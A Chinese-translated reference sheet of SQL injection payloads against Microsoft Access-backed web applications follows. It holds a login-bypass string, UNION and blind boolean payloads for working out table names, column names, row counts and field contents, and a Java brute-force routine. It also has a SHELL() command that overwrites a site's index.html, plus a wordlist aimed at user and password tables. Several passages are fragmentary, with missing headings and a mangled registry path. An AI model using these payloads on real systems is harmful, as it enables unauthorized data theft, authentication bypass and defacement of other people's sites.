Access SQL注入参考
版本 0.2.1
(最近更新 10/10/2007)
原作者不详
-
' UNION SELECT 1,1,1 FROM validTableName%00
- ' AND (SELECT TOP 1 'someData' FROM validTableName)%00
- ' UNION SELECT TOP 3 AttrName FROM validTableName%00 : 这条语句返回(前)3 行.
- ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName%00
-
' UNION SELECT 'web' %2b 'app' FROM validTableName%00 : 返回"webapp"
- ' UNION SELECT 'web' %26 'app' FROM validTableName%00 : 返回"webapp"
- ' UNION SELECT MID('abcd',1,1) FROM validTableName%00 : 返回 "a"
- ' UNION SELECT MID('abcd',2,1) FROM validTableName%00 : 返回 "b"
- ' UNION SELECT LEN('1234') FROM validTableName%00 : 返回 4
- ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable%00
- ' UNION SELECT ASC('A') FROM ValidTable%00 :返回65 ('A'的ASCII值)
- ' UNION SELECT CHR(65) FROM validTableName%00 : 返回 'A'
- ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName%00 : 返回 'a'
在注入的时候使用:
-
' UNION SELECT name FROM msysobjects IN 'boot.ini'%00 : (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized.
static private String columnErrorMessage = "...";
static private String accessError = "...";
[...]
public String bruteTableName(Request r) { // 0
String resp = new String();
String[] table = { "tab_name1", "tab_name2", ..., "tab_nameN" }; // 1
for(int i = 0; i < table.length; i++) {
resp = sendInjection(r, " ' UNION SELECT 1 FROM " + table[i] + "%00"); // 2
if(resp.contains(columnErrorMessage) || !resp.contains(accessError)) // 3
return table[i];
}
return null;
}
bruteTableName()的参数是一个名为"Request"的对象(见注释0).这个例子靠 sendInjection() (见注释2)尝试检测查询:
- ' UNION SELECT 1 FROM table[i]%00
table[i]是表名列表中的一个元素(见注释1). 你能在这篇文章的末尾找到一个小的表名列表.在注释2处, sendInjection()函数返回提交注入代码后的回应html代码.如果resp包含 columnErrorMessage 字符串(见注释3),恭喜你,你找到了一个存在的表. columnErrorMessage 是在UNION查询中使用了和主查询不同的卷数而返回的错误信息.如果表不存在,返回的信息将是表不存在,而不是卷的数目错误.
列名猜解 需要一个已知的表名和主查询的列的数目:- ' UNION SELECT fieldName[j],1,1,1 FROM validTableName%00
你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息.
绕过登陆 用户名: ' OR 1=1%00 (or " OR 1=1%00)密码: (留空)
列名枚举 按语 : 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过 ,但是不敢保证在其他的环境下同样可用.通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"'"后,你将会得到一些错误信息,例如:
- Error (...) syntax (...) query (...) : " Id=0' "
- ' GROUP BY Id%00
现在你将获得一个新的错误信息,它包含了另一个新的列名.你可以继续像这样枚举其他的表名:
- ' GROUP BY Id, SecondAttrName, ...%00
直到获取到所有的表名.
与操作系统的交互
这些函数默认不可用
安全提示 可以通过修改注册表来锁定一些受争议的函数的使用(比如SHELL(),等等...):- \HKEY_LOCAL_MACHINESoftwareMicrosoftJet4.0enginesSandboxMode
它的默认值是2,因此这些函数默认不可用.在下面我将会向你介绍当注册表的值被设置为0的情况.
获取当前目录 需要一个已知的表名和主查询的列的数目:- ' UNION SELECT CurDir(),1,1 FROM validTableName%00
- ' AND SHELL('cmd.exe /c echo owned > c:pathnameindex.html')%00
Access的系统表
这些系统表默认不可访问
MSysAccessXML 表中包含的列:- Id
- LValue
- ObjectGuid
- ObjectName
- Property
- Value
- ACM
- FInheritable
- ObjectId
- SID
- Connect
- Database
- DataCreate
- DataUpdate
- Flags
- ForeignName
- Id
- Lv
- LxExtra
- LvModule
- LvProp
- Name
- Owner
- ParentId
- RmtInfoLong
- RmtInfoShort
- Type
这条查询可以用来获得数据库中的表名:
- ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00
- ' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])%00
在提交注入查询语句后,如果你获得的HTML返回和正常页面一样,则表存在.(因为 "AND 1"对查询没有任何影响).
第二步: 猜解列名
在指导表名的情况下,使用如下查询:- ' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)%00
用和第一步同样的方法判断列是否存在.
第三步:猜解内容的行数 在进一步的行动中,你必须知道表中内容的行数. 它在下面的查询中将被用作"TAB_LEN"变量:- ' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)%00
这里的"X" 是大于0的任意值.可以使用老方法来判断"X"的准确值.
第四步:猜解内容的长度你能通过以下语句获取"ATTRIB"列的第一行的内容长度:
-
' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)%00
可以通过以下语句猜解到 "ATTRIB"列中第二行到第TAB_LEN行的内容的长度 (这里N的值在2和TAB_LEN(在前面已经获得)之间) :
-
' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)%00
"KKK" 为大于0的任意值,使用ATTRIB<>'valueXXX'的原因是我们必须选择一个特定的行来猜解.我想到的方法是将之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.当然,这里有一个前提"ATTRIB"必须是主键.这里有一个例子:
可以这样获取第一行的所有内容的长度:
-
' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)%00
-
' AND IIF((SELECT TOP 1 LEN(A2) FROM Table) = KKK, 1, 0)%00
-
' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)%00
然后就可以这样获取第二行的内容的长度(假设A1为表的主键) :
-
' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
A1 <>'1111') = KKK, 1, 0)%00 -
' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)%00 -
' AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)%00
第三行也一样:
-
' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)%00 -
' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)%00 -
' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)%00
很明显,在猜解第一行以后的内容的长度(第2到第TAB_LEN行),你必须得到之前所有行的内容(你需要把它放在WHERE后).
第五步:猜解内容 假设攻击者已经知道了表和列名,他将使用这样的查询:-
' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
... etc ... ) = CHAR(YYY), 1, 0)%00
"N"是要猜解的行, "XXX"是 "ATTRIBxxx"的第X个字节, "ATT_key"是表的的主键"YYY"是一个0到255之间的数.(它代表着一个字符的ASCII码).这里我们任然要使用前面提到的方法猜解其他行的内容.
表名/列名(字典) 表名/列名(字典) 这里是一个小的表/列名样本字典,在猜解中也许用的到:- account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
-
customers, customer, config, conf, cfg;
-
hash;
-
login, logout, loginout, log;
-
member, memberid;
-
password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
-
store, store1, store2, store3, store4, setting;
-
username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;










